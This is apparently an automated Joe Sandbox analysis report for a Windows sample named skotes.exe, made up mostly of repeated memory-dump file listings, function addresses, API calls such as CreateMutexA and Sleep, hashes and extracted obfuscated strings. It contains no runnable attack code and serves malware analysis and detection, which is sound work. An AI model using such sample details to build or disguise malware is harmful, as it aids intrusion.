Associated: 00000002.00000002.1880056253.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880086447.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880117281.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880207419.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880239951.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880239951.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880324440.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880736260.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880955900.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1881105680.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1881146238.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1881231534.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1881261563.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2w
API String ID: 1464230837-3085299600
Opcode ID: 0f7be494b5e8f65dfb3518c988cd55f32f8bb55066d3619232ec02e170903c06
Instruction ID: c1e37c03564d8275abc5c46159feeccd8a2d7674d3ea6f79be1631ae51b5dd53
Opcode Fuzzy Hash: 0f7be494b5e8f65dfb3518c988cd55f32f8bb55066d3619232ec02e170903c06
Instruction Fuzzy Hash: 61214F71346100EAFB29676C988ABBDB322DFD1704F24491AE448E62D3CB7E59C4D1A3

Function 0071A34F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0071A963
CreateMutexA.KERNELBASE(00000000,00000000,00773254), ref: 0071A981

Strings

T2w, xrefs: 0071A970

Memory Dump Source

Source File: 00000002.00000002.1875860672.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000002.00000002.1875821075.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1875860672.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1875983687.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876024181.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876067098.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876110225.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876152057.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876335437.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876367559.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876400996.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876436345.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876472751.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876472751.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876554507.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877028418.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877070327.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877092655.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877123055.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877142202.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877168226.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877194197.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877311251.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877338844.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877428693.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878155602.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878182635.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878212598.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878285156.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878339299.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878579134.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878629035.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878809595.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878895976.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1879273306.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880056253.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880086447.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880117281.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880207419.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880239951.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880239951.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880324440.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880736260.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880955900.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1881105680.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1881146238.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1881231534.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1881261563.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2w
API String ID: 1464230837-3085299600
Opcode ID: 76877c4b0472bf06620d208b6e012f48aeb698d9197a300c356285bf45dc5802
Instruction ID: 2d2f365fae514adbd35b9026151d12b399b2dff3f07c0e9e2426c57057cccdbf
Opcode Fuzzy Hash: 76877c4b0472bf06620d208b6e012f48aeb698d9197a300c356285bf45dc5802
Instruction Fuzzy Hash: CD216E31705200EBEB18DB6CDC897ACB762EFD2314F24421DE418D76D5DB7EA9C48262

Non-executed Functions

Function 0074CBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0074CC66

Strings

vt, xrefs: 0074CBE1

Memory Dump Source

Source File: 00000002.00000002.1875860672.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000002.00000002.1875821075.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1875860672.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1875983687.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876024181.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876067098.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876110225.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876152057.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876335437.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876367559.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876400996.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876436345.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876472751.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876472751.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876554507.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877028418.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877070327.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877092655.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877123055.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877142202.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877168226.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877194197.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877311251.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877338844.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877428693.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878155602.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878182635.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878212598.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878285156.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878339299.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878579134.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878629035.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878809595.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878895976.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1879273306.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880056253.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880086447.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880117281.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880207419.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880239951.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880239951.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880324440.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880736260.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880955900.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1881105680.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1881146238.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1881231534.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1881261563.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: vt
API String ID: 3213747228-3392995273
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: 2a1b904805f9607de461cc0a677b0cc71bddbdc516b25282b048ca70e7357353
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: A9B12432E066959FDB16CF28C8817BEBBE5EF45350F1441AAE855EB242D73C9D01CBA0

Function 00712EC0 Relevance: 6.3, APIs: 4, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00712F5F
__Mtx_unlock.LIBCPMT ref: 00712FCC
__Mtx_unlock.LIBCPMT ref: 007130F5
__Mtx_unlock.LIBCPMT ref: 0071319B

Memory Dump Source

Source File: 00000002.00000002.1875860672.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000002.00000002.1875821075.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1875860672.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1875983687.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876024181.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876067098.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876110225.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876152057.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876335437.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876367559.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876400996.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876436345.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876472751.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876472751.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876554507.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877028418.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877070327.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877092655.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877123055.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877142202.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877168226.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877194197.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877311251.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877338844.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877428693.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878155602.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878182635.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878212598.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878285156.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878339299.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878579134.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878629035.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878809595.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878895976.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1879273306.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880056253.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880086447.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880117281.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880207419.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880239951.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880239951.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880324440.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880736260.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880955900.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1881105680.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1881146238.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1881231534.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1881261563.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID:
API String ID: 1418687624-0
Opcode ID: 41752214d2e99c49f5125039b23aab72ec62c23295cf4717bee0c51a164d2b4d
Instruction ID: 877f1b6fd7bb4c6fb279af0fd4de374f797f17da4d5a10dfd6c2ab35e390042e
Opcode Fuzzy Hash: 41752214d2e99c49f5125039b23aab72ec62c23295cf4717bee0c51a164d2b4d
Instruction Fuzzy Hash: E0A1F3B0A00615EFDB11DF68D948B9AB7F9FF18310F148129E815D7281EB39EA85CBD1

Function 0074F35F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0074F3A3

Strings

8"w, xrefs: 0074F44B
`'w, xrefs: 0074F375

Memory Dump Source

Source File: 00000002.00000002.1875860672.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000002.00000002.1875821075.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1875860672.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1875983687.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876024181.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876067098.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876110225.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876152057.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876335437.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876367559.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876400996.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876436345.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876472751.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876472751.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1876554507.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877028418.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877070327.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877092655.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877123055.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877142202.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877168226.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877194197.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877311251.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877338844.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1877428693.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878155602.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878182635.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878212598.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878285156.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878339299.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878579134.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878629035.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878809595.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1878895976.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1879273306.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880056253.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880086447.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880117281.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880207419.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880239951.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880239951.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880324440.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880736260.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1880955900.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1881105680.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1881146238.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1881231534.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1881261563.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"w$`'w
API String ID: 3903695350-1951729946
Opcode ID: b10a22cf27ba1aab4565f40c3d991f05f00ac71c9cf87ae8605a33023ae40fd2
Instruction ID: 66fc5eecc33a1c6f4bd654e370f6d1f666104f9bbe2ac64c7c58ff70b211785b
Opcode Fuzzy Hash: b10a22cf27ba1aab4565f40c3d991f05f00ac71c9cf87ae8605a33023ae40fd2
Instruction Fuzzy Hash: 4F315C32A00242EFEB21AE39D849B5B73E8EF04352F104429F459D7599DF78EC80CB15

Analysis Process: skotes.exePID: 8108, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	5.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1056
Total number of Limit Nodes:	94

Executed Functions

Function 0071E530 Relevance: 25.5, APIs: 2, Strings: 12, Instructions: 968
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

MGE+, xrefs: 0071E821
#, xrefs: 00720624
WTw=, xrefs: 0072097D
246122658369, xrefs: 0071F737, 0071FA14, 007205E7, 0072099A
MQ==, xrefs: 0071E592
WDw=, xrefs: 0071F71D, 0071F9FA
GnNoc2Hc, xrefs: 0071E56C
WTs=, xrefs: 007205CA
111, xrefs: 0071F7A0
L1w, xrefs: 0071F7E5
UA==, xrefs: 0071EB0F, 0071ED56
9c9aa5, xrefs: 0071FB8E

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
